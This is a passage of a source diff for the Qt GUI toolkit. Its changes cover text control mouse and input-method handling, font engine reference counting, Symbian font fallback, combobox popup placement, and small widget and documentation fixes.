@@ -4238,7 +4238,7 @@ void QStyleSheetStyle::drawPrimitive(PrimitiveElement pe, const QStyleOption *op
         return;
 
     case PE_Widget:
-        if (!rule.hasDrawable()) {
+        if (w && !rule.hasDrawable()) {
             QWidget *container = containerWidget(w);
             if (styleSheetCaches->autoFillDisabledWidgets.contains(container)
                 && (container == w || !renderRule(container, opt).hasBackground())) {
diff --git a/src/gui/text/qfont_s60.cpp b/src/gui/text/qfont_s60.cpp
index c7d36ef..114191d 100644
--- a/src/gui/text/qfont_s60.cpp
+++ b/src/gui/text/qfont_s60.cpp
@@ -49,13 +49,14 @@ QT_BEGIN_NAMESPACE
 
 #ifdef QT_NO_FREETYPE
 Q_GLOBAL_STATIC(QMutex, lastResortFamilyMutex);
+#endif // QT_NO_FREETYPE
+
 extern QStringList qt_symbian_fontFamiliesOnFontServer(); // qfontdatabase_s60.cpp
 Q_GLOBAL_STATIC_WITH_INITIALIZER(QStringList, fontFamiliesOnFontServer, {
     // We are only interested in the initial font families. No Application fonts.
     // Therefore, we are allowed to cache the list.
     x->append(qt_symbian_fontFamiliesOnFontServer());
 });
-#endif // QT_NO_FREETYPE
 
 QString QFont::lastResortFont() const
 {
@@ -95,7 +96,20 @@ QString QFont::lastResortFamily() const
     const bool isJapaneseOrChineseSystem =
         User::Language() == ELangJapanese || User::Language() == ELangPrcChinese;
 
-    return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":"Series 60 Sans");
+    static QString family;
+    if (family.isEmpty()) {
+        QStringList families = qt_symbian_fontFamiliesOnFontServer();
+        const char* const preferredFamilies[] = {"Nokia Sans S60", "Series 60 Sans"};
+        for (int i = 0; i < sizeof preferredFamilies / sizeof preferredFamilies[0]; ++i) {
+            const QString preferredFamily = QLatin1String(preferredFamilies[i]);
+            if (families.contains(preferredFamily)) {
+                family = preferredFamily;
+                break;
+            }
+        }
+    }
+
+    return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":family.toLatin1());
 #endif // QT_NO_FREETYPE
 }
 
diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
index 97426a8..6d3970e 100644
--- a/src/gui/text/qfontdatabase_s60.cpp
+++ b/src/gui/text/qfontdatabase_s60.cpp
@@ -464,6 +464,7 @@ void QFontEngineMultiS60::loadEngine(int at)
     Q_ASSERT(engines[at]);
 }
 
+#ifdef QT_NO_FREETYPE
 static bool registerScreenDeviceFont(int screenDeviceFontIndex,
                                      const QSymbianFontDatabaseExtrasImplementation *dbExtras)
 {
@@ -525,6 +526,7 @@ static bool registerScreenDeviceFont(int screenDeviceFontIndex,
         family->writingSystems[system] = QtFontFamily::Supported;
     return true;
 }
+#endif
 
 static void initializeDb()
 {
diff --git a/src/gui/text/qtextcontrol.cpp b/src/gui/text/qtextcontrol.cpp
index 89ca6bf..46f1d62 100644
--- a/src/gui/text/qtextcontrol.cpp
+++ b/src/gui/text/qtextcontrol.cpp
@@ -115,6 +115,7 @@ static QTextLine currentTextLine(const QTextCursor &cursor)
 QTextControlPrivate::QTextControlPrivate()
     : doc(0), cursorOn(false), cursorIsFocusIndicator(false),
       interactionFlags(Qt::TextEditorInteraction),
+      dragEnabled(true),
 #ifndef QT_NO_DRAGANDDROP
       mousePressed(false), mightStartDrag(false),
 #endif
@@ -129,7 +130,8 @@ QTextControlPrivate::QTextControlPrivate()
       isEnabled(true),
       hadSelectionOnMousePress(false),
       ignoreUnusedNavigationEvents(false),
-      openExternalLinks(false)
+      openExternalLinks(false),
+      wordSelectionEnabled(false)
 {}
 
 bool QTextControlPrivate::cursorMoveKeyEvent(QKeyEvent *e)
@@ -931,15 +933,18 @@ void QTextControl::processEvent(QEvent *e, const QMatrix &matrix, QWidget *conte
             break; }
         case QEvent::MouseMove: {
             QMouseEvent *ev = static_cast<QMouseEvent *>(e);
-            d->mouseMoveEvent(ev->buttons(), matrix.map(ev->pos()));
+            d->mouseMoveEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(),
+                              ev->buttons(), ev->globalPos());
             break; }
         case QEvent::MouseButtonRelease: {
             QMouseEvent *ev = static_cast<QMouseEvent *>(e);
-            d->mouseReleaseEvent(ev->button(), matrix.map(ev->pos()));
+            d->mouseReleaseEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(),
+                                 ev->buttons(), ev->globalPos());
             break; }
         case QEvent::MouseButtonDblClick: {
             QMouseEvent *ev = static_cast<QMouseEvent *>(e);
-            d->mouseDoubleClickEvent(e, ev->button(), matrix.map(ev->pos()));
+            d->mouseDoubleClickEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(),
+                                     ev->buttons(), ev->globalPos());
             break; }
         case QEvent::InputMethod:
             d->inputMethodEvent(static_cast<QInputMethodEvent *>(e));
@@ -999,15 +1004,18 @@ void QTextControl::processEvent(QEvent *e, const QMatrix &matrix, QWidget *conte
             break; }
         case QEvent::GraphicsSceneMouseMove: {
             QGraphicsSceneMouseEvent *ev = static_cast<QGraphicsSceneMouseEvent *>(e);
-            d->mouseMoveEvent(ev->buttons(), matrix.map(ev->pos()));
+            d->mouseMoveEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(), ev->buttons(),
+                              ev->screenPos());
             break; }
         case QEvent::GraphicsSceneMouseRelease: {
             QGraphicsSceneMouseEvent *ev = static_cast<QGraphicsSceneMouseEvent *>(e);
-            d->mouseReleaseEvent(ev->button(), matrix.map(ev->pos()));
+            d->mouseReleaseEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(), ev->buttons(),
+                                 ev->screenPos());
             break; }
         case QEvent::GraphicsSceneMouseDoubleClick: {
             QGraphicsSceneMouseEvent *ev = static_cast<QGraphicsSceneMouseEvent *>(e);
-            d->mouseDoubleClickEvent(e, ev->button(), matrix.map(ev->pos()));
+            d->mouseDoubleClickEvent(ev, ev->button(), matrix.map(ev->pos()), ev->modifiers(), ev->buttons(),
+                                     ev->screenPos());
             break; }
         case QEvent::GraphicsSceneContextMenu: {
             QGraphicsSceneContextMenuEvent *ev = static_cast<QGraphicsSceneContextMenuEvent *>(e);
@@ -1016,7 +1024,8 @@ void QTextControl::processEvent(QEvent *e, const QMatrix &matrix, QWidget *conte
 
         case QEvent::GraphicsSceneHoverMove: {
             QGraphicsSceneHoverEvent *ev = static_cast<QGraphicsSceneHoverEvent *>(e);
-            d->mouseMoveEvent(Qt::NoButton, matrix.map(ev->pos()));
+            d->mouseMoveEvent(ev, Qt::NoButton, matrix.map(ev->pos()), ev->modifiers(),Qt::NoButton,
+                              ev->screenPos());
             break; }
 
         case QEvent::GraphicsSceneDragEnter: {
@@ -1486,6 +1495,11 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
 {
     Q_Q(QTextControl);
 
+    if (sendMouseEventToInputContext(
+            e, QEvent::MouseButtonPress, button, pos, modifiers, buttons, globalPos)) {
+        return;
+    }
+
     if (interactionFlags & Qt::LinksAccessibleByMouse) {
         anchorOnMousePress = q->anchorAt(pos);
 
@@ -1528,31 +1542,22 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
             return;
         }
 
-#if !defined(QT_NO_IM)
-        QTextLayout *layout = cursor.block().layout();
-        if (contextWidget && layout && !layout->preeditAreaText().isEmpty()) {
-            QInputContext *ctx = inputContext();
-            if (ctx) {
-                QMouseEvent ev(QEvent::MouseButtonPress, contextWidget->mapFromGlobal(globalPos), globalPos,
-                               button, buttons, modifiers);
-                ctx->mouseHandler(cursorPos - cursor.position(), &ev);
+        if (modifiers == Qt::ShiftModifier && (interactionFlags & Qt::TextSelectableByMouse)) {
+            if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
+                selectedWordOnDoubleClick = cursor;
+                selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
             }
-            if (!layout->preeditAreaText().isEmpty()) {
-                e->ignore();
-                return;
-            }
-        }
-#endif
-        if (modifiers == Qt::ShiftModifier) {
+
             if (selectedBlockOnTrippleClick.hasSelection())
                 extendBlockwiseSelection(cursorPos);
             else if (selectedWordOnDoubleClick.hasSelection())
                 extendWordwiseSelection(cursorPos, pos.x());
-            else
+            else if (wordSelectionEnabled)
                 setCursorPosition(cursorPos, QTextCursor::KeepAnchor);
         } else {
 
-            if (cursor.hasSelection()
+            if (dragEnabled
+                && cursor.hasSelection()
                 && !cursorIsFocusIndicator
                 && cursorPos >= cursor.selectionStart()
                 && cursorPos <= cursor.selectionEnd()
@@ -1582,10 +1587,16 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
     hadSelectionOnMousePress = cursor.hasSelection();
 }
 
-void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF &mousePos)
+void QTextControlPrivate::mouseMoveEvent(QEvent *e, Qt::MouseButton button, const QPointF &mousePos, Qt::KeyboardModifiers modifiers,
+                                         Qt::MouseButtons buttons, const QPoint &globalPos)
 {
     Q_Q(QTextControl);
 
+    if (sendMouseEventToInputContext(
+            e, QEvent::MouseMove, button, mousePos, modifiers, buttons, globalPos)) {
+        return;
+    }
+
     if (interactionFlags & Qt::LinksAccessibleByMouse) {
         QString anchor = q->anchorAt(mousePos);
         if (anchor != highlightedAnchor) {
@@ -1615,21 +1626,20 @@ void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF
     }
     const qreal mouseX = qreal(mousePos.x());
 
-#if !defined(QT_NO_IM)
-    QTextLayout *layout = cursor.block().layout();
-    if (layout && !layout->preeditAreaText().isEmpty())
-        return;
-#endif
-
     int newCursorPos = q->hitTest(mousePos, Qt::FuzzyHit);
     if (newCursorPos == -1)
         return;
 
+    if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
+        selectedWordOnDoubleClick = cursor;
+        selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
+    }
+
     if (selectedBlockOnTrippleClick.hasSelection())
         extendBlockwiseSelection(newCursorPos);
     else if (selectedWordOnDoubleClick.hasSelection())
         extendWordwiseSelection(newCursorPos, mouseX);
-    else
+    else if (interactionFlags & Qt::TextSelectableByMouse)
         setCursorPosition(newCursorPos, QTextCursor::KeepAnchor);
 
     if (interactionFlags & Qt::TextEditable) {
@@ -1653,10 +1663,16 @@ void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF
     repaintOldAndNewSelection(oldSelection);
 }
 
-void QTextControlPrivate::mouseReleaseEvent(Qt::MouseButton button, const QPointF &pos)
+void QTextControlPrivate::mouseReleaseEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos, Qt::KeyboardModifiers modifiers,
+                                            Qt::MouseButtons buttons, const QPoint &globalPos)
 {
     Q_Q(QTextControl);
 
+    if (sendMouseEventToInputContext(
+            e, QEvent::MouseButtonRelease, button, pos, modifiers, buttons, globalPos)) {
+        return;
+    }
+
     const QTextCursor oldSelection = cursor;
     const int oldCursorPos = cursor.position();
 
@@ -1714,19 +1730,21 @@ void QTextControlPrivate::mouseReleaseEvent(Qt::MouseButton button, const QPoint
     }
 }
 
-void QTextControlPrivate::mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos)
+void QTextControlPrivate::mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos, Qt::KeyboardModifiers modifiers,
+                                                Qt::MouseButtons buttons, const QPoint &globalPos)
 {
     Q_Q(QTextControl);
+
+    if (sendMouseEventToInputContext(
+            e, QEvent::MouseButtonDblClick, button, pos, modifiers, buttons, globalPos)) {
+        return;
+    }
+
     if (button != Qt::LeftButton
         || !(interactionFlags & Qt::TextSelectableByMouse)) {
         e->ignore();
         return;
     }
-#if !defined(QT_NO_IM)
-    QTextLayout *layout = cursor.block().layout();
-    if (layout && !layout->preeditAreaText().isEmpty())
-        return;
-#endif
 
 #ifndef QT_NO_DRAGANDDROP
     mightStartDrag = false;
@@ -1755,6 +1773,45 @@ void QTextControlPrivate::mouseDoubleClickEvent(QEvent *e, Qt::MouseButton butto
     }
 }
 
+bool QTextControlPrivate::sendMouseEventToInputContext(
+        QEvent *e, QEvent::Type eventType, Qt::MouseButton button, const QPointF &pos,
+        Qt::KeyboardModifiers modifiers, Qt::MouseButtons buttons, const QPoint &globalPos)
+{
+#if !defined(QT_NO_IM)
+    Q_Q(QTextControl);
+
+    QTextLayout *layout = cursor.block().layout();
+    if (contextWidget && layout && !layout->preeditAreaText().isEmpty()) {
+        QInputContext *ctx = inputContext();
+        int cursorPos = q->hitTest(pos, Qt::FuzzyHit) - cursor.position();
+
+        if (cursorPos < 0 || cursorPos > layout->preeditAreaText().length()) {
+            cursorPos = -1;
+            // don't send move events outside the preedit area
+            if (eventType == QEvent::MouseMove)
+                return true;
+        }
+        if (ctx) {
+            QMouseEvent ev(eventType, contextWidget->mapFromGlobal(globalPos), globalPos,
+                           button, buttons, modifiers);
+            ctx->mouseHandler(cursorPos, &ev);
+            e->setAccepted(ev.isAccepted());
+        }
+        if (!layout->preeditAreaText().isEmpty())
+            return true;
+    }
+#else
+    Q_UNUSED(e);
+    Q_UNUSED(eventType);
+    Q_UNUSED(button);
+    Q_UNUSED(pos);
+    Q_UNUSED(modifiers);
+    Q_UNUSED(buttons);
+    Q_UNUSED(globalPos);
+#endif
+    return false;
+}
+
 void QTextControlPrivate::contextMenuEvent(const QPoint &screenPos, const QPointF &docPos, QWidget *contextWidget)
 {
 #ifdef QT_NO_CONTEXTMENU
@@ -2331,6 +2388,31 @@ bool QTextControl::cursorIsFocusIndicator() const
     return d->cursorIsFocusIndicator;
 }
 
+
+void QTextControl::setDragEnabled(bool enabled)
+{
+    Q_D(QTextControl);
+    d->dragEnabled = enabled;
+}
+
+bool QTextControl::isDragEnabled() const
+{
+    Q_D(const QTextControl);
+    return d->dragEnabled;
+}
+
+void QTextControl::setWordSelectionEnabled(bool enabled)
+{
+    Q_D(QTextControl);
+    d->wordSelectionEnabled = enabled;
+}
+
+bool QTextControl::isWordSelectionEnabled() const
+{
+    Q_D(const QTextControl);
+    return d->wordSelectionEnabled;
+}
+
 #ifndef QT_NO_PRINTER
 void QTextControl::print(QPrinter *printer) const
 {
diff --git a/src/gui/text/qtextcontrol_p.h b/src/gui/text/qtextcontrol_p.h
index 6540f4f..31fa843 100644
--- a/src/gui/text/qtextcontrol_p.h
+++ b/src/gui/text/qtextcontrol_p.h
@@ -175,6 +175,12 @@ public:
     void setCursorIsFocusIndicator(bool b);
     bool cursorIsFocusIndicator() const;
 
+    void setDragEnabled(bool enabled);
+    bool isDragEnabled() const;
+
+    bool isWordSelectionEnabled() const;
+    void setWordSelectionEnabled(bool enabled);
+
 #ifndef QT_NO_PRINTER
     void print(QPrinter *printer) const;
 #endif
@@ -183,8 +189,6 @@ public:
     virtual QRectF blockBoundingRect(const QTextBlock &block) const;
     QAbstractTextDocumentLayout::PaintContext getPaintContext(QWidget *widget) const;
 
-
-
 public Q_SLOTS:
     void setPlainText(const QString &text);
     void setHtml(const QString &text);
diff --git a/src/gui/text/qtextcontrol_p_p.h b/src/gui/text/qtextcontrol_p_p.h
index 04f4c75..94670e2 100644
--- a/src/gui/text/qtextcontrol_p_p.h
+++ b/src/gui/text/qtextcontrol_p_p.h
@@ -135,9 +135,23 @@ public:
                          Qt::KeyboardModifiers modifiers,
                          Qt::MouseButtons buttons,
                          const QPoint &globalPos);
-    void mouseMoveEvent(Qt::MouseButtons buttons, const QPointF &pos);
-    void mouseReleaseEvent(Qt::MouseButton button, const QPointF &pos);
-    void mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos);
+    void mouseMoveEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos,
+                        Qt::KeyboardModifiers modifiers,
+                        Qt::MouseButtons buttons,
+                        const QPoint &globalPos);
+    void mouseReleaseEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos,
+                           Qt::KeyboardModifiers modifiers,
+                           Qt::MouseButtons buttons,
+                           const QPoint &globalPos);
+    void mouseDoubleClickEvent(QEvent *e, Qt::MouseButton button, const QPointF &pos,
+                               Qt::KeyboardModifiers modifiers,
+                               Qt::MouseButtons buttons,
+                               const QPoint &globalPos);
+    bool sendMouseEventToInputContext(QEvent *e,  QEvent::Type eventType, Qt::MouseButton button,
+                                      const QPointF &pos,
+                                      Qt::KeyboardModifiers modifiers,
+                                      Qt::MouseButtons buttons,
+                                      const QPoint &globalPos);
     void contextMenuEvent(const QPoint &screenPos, const QPointF &docPos, QWidget *contextWidget);
     void focusEvent(QFocusEvent *e);
 #ifdef QT_KEYPAD_NAVIGATION
@@ -174,6 +188,8 @@ public:
     QBasicTimer trippleClickTimer;
     QPointF trippleClickPoint;
 
+    bool dragEnabled;
+
     bool mousePressed;
 
     bool mightStartDrag;
@@ -209,6 +225,8 @@ public:
     bool ignoreUnusedNavigationEvents;
     bool openExternalLinks;
 
+    bool wordSelectionEnabled;
+
     QString linkToCopy;
     void _q_copyLink();
     void _q_updateBlock(const QTextBlock &);
diff --git a/src/gui/text/qtextdocumentlayout.cpp b/src/gui/text/qtextdocumentlayout.cpp
index 157b7bc..838face 100644
--- a/src/gui/text/qtextdocumentlayout.cpp
+++ b/src/gui/text/qtextdocumentlayout.cpp
@@ -2510,6 +2510,7 @@ static inline void getLineHeightParams(const QTextBlockFormat &blockFormat, cons
                                        QFixed *lineAdjustment, QFixed *lineBreakHeight, QFixed *lineHeight)
 {
     *lineHeight = QFixed::fromReal(blockFormat.lineHeight(line.height(), scaling));
+
     if (blockFormat.lineHeightType() == QTextBlockFormat::FixedHeight || blockFormat.lineHeightType() == QTextBlockFormat::MinimumHeight) {
         *lineBreakHeight = *lineHeight;
         if (blockFormat.lineHeightType() == QTextBlockFormat::FixedHeight)
diff --git a/src/gui/text/qtextengine.cpp b/src/gui/text/qtextengine.cpp
index 415fa4b..a63fdbf 100644
--- a/src/gui/text/qtextengine.cpp
+++ b/src/gui/text/qtextengine.cpp
@@ -1385,6 +1385,15 @@ void QTextEngine::shape(int item) const
     }
 }
 
+static inline void releaseCachedFontEngine(QFontEngine *fontEngine)
+{
+    if (fontEngine) {
+        fontEngine->ref.deref();
+        if (fontEngine->cache_count == 0 && fontEngine->ref == 0)
+            delete fontEngine;
+    }
+}
+
 void QTextEngine::invalidate()
 {
     freeMemory();
@@ -1392,6 +1401,9 @@ void QTextEngine::invalidate()
     maxWidth = 0;
     if (specialData)
         specialData->resolvedFormatIndices.clear();
+
+    releaseCachedFontEngine(feCache.prevFontEngine);
+    releaseCachedFontEngine(feCache.prevScaledFontEngine);
     feCache.reset();
 }
 
@@ -1824,7 +1836,11 @@ QFontEngine *QTextEngine::fontEngine(const QScriptItem &si, QFixed *ascent, QFix
                 scaledEngine = font.d->engineForScript(script);
             }
             feCache.prevFontEngine = engine;
+            if (engine)
+                engine->ref.ref();
             feCache.prevScaledFontEngine = scaledEngine;
+            if (scaledEngine)
+                scaledEngine->ref.ref();
             feCache.prevScript = script;
             feCache.prevPosition = si.position;
             feCache.prevLength = length(&si);
@@ -1835,6 +1851,8 @@ QFontEngine *QTextEngine::fontEngine(const QScriptItem &si, QFixed *ascent, QFix
         else {
             engine = font.d->engineForScript(script);
             feCache.prevFontEngine = engine;
+            if (engine)
+                engine->ref.ref();
             feCache.prevScript = script;
             feCache.prevPosition = -1;
             feCache.prevLength = -1;
diff --git a/src/gui/text/text.pri b/src/gui/text/text.pri
index daafdd9..d3e8f2d 100644
--- a/src/gui/text/text.pri
+++ b/src/gui/text/text.pri
@@ -147,8 +147,8 @@ symbian {
 			text/qfontengine_s60.cpp
 		HEADERS += \
 			text/qfontengine_s60_p.h
-		LIBS += -lfntstr -lecom
 	}
+	LIBS += -lfntstr -lecom
 }
 
 !qpa {
diff --git a/src/gui/util/qsystemtrayicon_win.cpp b/src/gui/util/qsystemtrayicon_win.cpp
index 2b7935b..5a0e179 100644
--- a/src/gui/util/qsystemtrayicon_win.cpp
+++ b/src/gui/util/qsystemtrayicon_win.cpp
@@ -305,6 +305,7 @@ bool QSystemTrayIconSys::winEvent( MSG *m, long *result )
             case WM_CONTEXTMENU:
                 if (q->contextMenu()) {
                     q->contextMenu()->popup(gpos);
+                    q->contextMenu()->activateWindow();
                 }
                 emit q->activated(QSystemTrayIcon::Context);
                 break;
diff --git a/src/gui/widgets/qcombobox.cpp b/src/gui/widgets/qcombobox.cpp
index 7946137..b5dda5a 100644
--- a/src/gui/widgets/qcombobox.cpp
+++ b/src/gui/widgets/qcombobox.cpp
@@ -2486,10 +2486,18 @@ void QComboBox::showPopup()
             listRect.setWidth(listRect.height());
             //by default popup is centered on screen in landscape
             listRect.moveCenter(screen.center());
-            if (staConTopRect.IsEmpty() && AknLayoutUtils::CbaLocation() != AknLayoutUtils::EAknCbaLocationBottom) {
-                // landscape without stacon, menu should be at the right
-                (opt.direction == Qt::LeftToRight) ? listRect.setRight(screen.right()) :
-                                                     listRect.setLeft(screen.left());
+            if (staConTopRect.IsEmpty()) {
+                TRect cbaRect = TRect();
+                AknLayoutUtils::LayoutMetricsRect(AknLayoutUtils::EControlPane, cbaRect);
+                AknLayoutUtils::TAknCbaLocation cbaLocation = AknLayoutUtils::CbaLocation();
+                switch (cbaLocation) {
+                case AknLayoutUtils::EAknCbaLocationRight:
+                    listRect.setRight(screen.right());
+                    break;
+                case AknLayoutUtils::EAknCbaLocationLeft:
+                    listRect.setLeft(screen.left());
+                    break;
+                }
             }
         }
 #endif
diff --git a/src/gui/widgets/qlinecontrol.cpp b/src/gui/widgets/qlinecontrol.cpp
index 062bb61..023b9ee 100644
--- a/src/gui/widgets/qlinecontrol.cpp
+++ b/src/gui/widgets/qlinecontrol.cpp
@@ -456,6 +456,7 @@ void QLineControl::processInputMethodEvent(QInputMethodEvent *event)
 #ifndef QT_NO_IM
     setPreeditArea(m_cursor, event->preeditString());
 #endif //QT_NO_IM
+    const int oldPreeditCursor = m_preeditCursor;
     m_preeditCursor = event->preeditString().length();
     m_hideCursor = false;
     QList<QTextLayout::FormatRange> formats;
@@ -479,6 +480,8 @@ void QLineControl::processInputMethodEvent(QInputMethodEvent *event)
     updateDisplayText(/*force*/ true);
     if (cursorPositionChanged)
         emitCursorPositionChanged();
+    else if (m_preeditCursor != oldPreeditCursor)
+        emit updateMicroFocus();
     if (isGettingInput)
         finishChange(priorState);
 }
@@ -541,10 +544,13 @@ void QLineControl::draw(QPainter *painter, const QPoint &offset, const QRect &cl
 */
 void QLineControl::selectWordAtPos(int cursor)
 {
-    int c = m_textLayout.previousCursorPosition(cursor, QTextLayout::SkipWords);
+    int next = cursor + 1;
+    if(next > end())
+        --next;
+    int c = m_textLayout.previousCursorPosition(next, QTextLayout::SkipWords);
     moveCursor(c, false);
     // ## text layout should support end of words.
-    int end = m_textLayout.nextCursorPosition(cursor, QTextLayout::SkipWords);
+    int end = m_textLayout.nextCursorPosition(c, QTextLayout::SkipWords);
     while (end > cursor && m_text[end-1].isSpace())
         --end;
     moveCursor(end, true);
diff --git a/src/gui/widgets/qlinecontrol_p.h b/src/gui/widgets/qlinecontrol_p.h
index bfe50fe..3c505c8 100644
--- a/src/gui/widgets/qlinecontrol_p.h
+++ b/src/gui/widgets/qlinecontrol_p.h
@@ -425,6 +425,7 @@ Q_SIGNALS:
     void textEdited(const QString &);
 
     void resetInputContext();
+    void updateMicroFocus();
 
     void accepted();
     void editingFinished();
diff --git a/src/gui/widgets/qplaintextedit.cpp b/src/gui/widgets/qplaintextedit.cpp
index d3af9e1..7435691 100644
--- a/src/gui/widgets/qplaintextedit.cpp
+++ b/src/gui/widgets/qplaintextedit.cpp
@@ -967,7 +967,7 @@ void QPlainTextEditPrivate::_q_adjustScrollbars()
                     ++lineNumber;
                 }
                 if (lineNumber < layoutLineCount)
-                    visibleFromBottom += (layoutLineCount - lineNumber - 1);
+                    visibleFromBottom += (layoutLineCount - lineNumber);
                 break;
 
             }
diff --git a/src/gui/widgets/qscrollbar.cpp b/src/gui/widgets/qscrollbar.cpp
index 67f34eb..c895b1b 100644
--- a/src/gui/widgets/qscrollbar.cpp
+++ b/src/gui/widgets/qscrollbar.cpp
@@ -82,21 +82,21 @@ QT_BEGIN_NAMESPACE
     needs.
 
     \table
-    \row \i \image qscrollbar-picture.png
-    \i Scroll bars typically include four separate controls: a slider,
+    \row \o \image qscrollbar-picture.png
+    \o Scroll bars typically include four separate controls: a slider,
     scroll arrows, and a page control.
 
     \list
-    \i a. The slider provides a way to quickly go to any part of the
+    \o a. The slider provides a way to quickly go to any part of the
     document, but does not support accurate navigation within large
     documents.
-    \i b. The scroll arrows are push buttons which can be used to accurately
+    \o b. The scroll arrows are push buttons which can be used to accurately
     navigate to a particular place in a document. For a vertical scroll bar
     connected to a text editor, these typically move the current position one
     "line" up or down, and adjust the position of the slider by a small
     amount. In editors and list boxes a "line" might mean one line of text;
     in an image viewer it might mean 20 pixels.
-    \i c. The page control is the area over which the slider is dragged (the
+    \o c. The page control is the area over which the slider is dragged (the
     scroll bar's background). Clicking here moves the scroll bar towards
     the click by one "page". This value is usually the same as the length of
     the slider.
@@ -134,13 +134,12 @@ QT_BEGIN_NAMESPACE
     value of 80. This would give us a scroll bar with five "pages".
 
     \table
-    \row \i \inlineimage qscrollbar-values.png
-    \i The relationship between a document length, the range of values used
+    \row \o \inlineimage qscrollbar-values.png
+    \o The relationship between a document length, the range of values used
     in a scroll bar, and the page step is simple in many common situations.
     The scroll bar's range of values is determined by subtracting a
     chosen page step from some value representing the length of the document.
     In such cases, the following equation is useful:
-
     \e{document length} = maximum() - minimum() + pageStep().
     \endtable
 
@@ -153,18 +152,18 @@ QT_BEGIN_NAMESPACE
 
     ScrollBar inherits a comprehensive set of signals from QAbstractSlider:
     \list
-    \i \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the
+    \o \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the
        scroll bar's value has changed. The tracking() determines whether this
        signal is emitted during user interaction.
-    \i \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the
+    \o \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the
        scroll bar's range of values has changed.
-    \i \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when
+    \o \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when
        the user starts to drag the slider.
-    \i \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user
+    \o \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user
        drags the slider.
-    \i \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when
+    \o \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when
        the user releases the slider.
-    \i \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted
+    \o \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted
        when the scroll bar is changed by user interaction or via the
        \l{QAbstractSlider::triggerAction()}{triggerAction()} function.
     \endlist
@@ -173,12 +172,12 @@ QT_BEGIN_NAMESPACE
     default focusPolicy() of Qt::NoFocus. Use setFocusPolicy() to
     enable keyboard interaction with the scroll bar:
     \list
-         \i Left/Right move a horizontal scroll bar by one single step.
-         \i Up/Down move a vertical scroll bar by one single step.
-         \i PageUp moves up one page.
-         \i PageDown moves down one page.
-         \i Home moves to the start (mininum).
-         \i End moves to the end (maximum).
+         \o Left/Right move a horizontal scroll bar by one single step.
+         \o Up/Down move a vertical scroll bar by one single step.
+         \o PageUp moves up one page.
+         \o PageDown moves down one page.
+         \o Home moves to the start (mininum).
+         \o End moves to the end (maximum).
      \endlist
 
     The slider itself can be controlled by using the
diff --git a/src/gui/widgets/qsizegrip.cpp b/src/gui/widgets/qsizegrip.cpp
index f2ea1bf..630aecf 100644
--- a/src/gui/widgets/qsizegrip.cpp
+++ b/src/gui/widgets/qsizegrip.cpp
@@ -309,6 +309,7 @@ void QSizeGrip::mousePressEvent(QMouseEvent * e)
 #ifdef Q_WS_X11
     // Use a native X11 sizegrip for "real" top-level windows if supported.
     if (tlw->isWindow() && X11->isSupportedByWM(ATOM(_NET_WM_MOVERESIZE))
+        && !(tlw->windowFlags() & Qt::X11BypassWindowManagerHint)
         && !tlw->testAttribute(Qt::WA_DontShowOnScreen) && !qt_widget_private(tlw)->hasHeightForWidth()) {
         XEvent xev;
         xev.xclient.type = ClientMessage;
@@ -420,7 +421,8 @@ void QSizeGrip::mouseMoveEvent(QMouseEvent * e)
 
 #ifdef Q_WS_X11
     if (tlw->isWindow() && X11->isSupportedByWM(ATOM(_NET_WM_MOVERESIZE))
-        && tlw->isTopLevel() && !tlw->testAttribute(Qt::WA_DontShowOnScreen) && !qt_widget_private(tlw)->hasHeightForWidth())
+        && tlw->isTopLevel() && !(tlw->windowFlags() & Qt::X11BypassWindowManagerHint)
+        && !tlw->testAttribute(Qt::WA_DontShowOnScreen) && !qt_widget_private(tlw)->hasHeightForWidth())
         return;
 #endif
 #ifdef Q_WS_WIN
diff --git a/src/gui/widgets/qsplashscreen.cpp b/src/gui/widgets/qsplashscreen.cpp
index 75280cb..9c486bf 100644
--- a/src/gui/widgets/qsplashscreen.cpp
+++ b/src/gui/widgets/qsplashscreen.cpp
@@ -223,8 +223,8 @@ void QSplashScreen::finish(QWidget *mainWin)
 {
     if (mainWin) {
 #if defined(Q_WS_X11)
-        extern void qt_x11_wait_for_window_manager(QWidget *mainWin);
-        qt_x11_wait_for_window_manager(mainWin);
+        extern void qt_x11_wait_for_window_manager(QWidget *mainWin, bool);
+        qt_x11_wait_for_window_manager(mainWin, false);
 #endif
     }
     close();
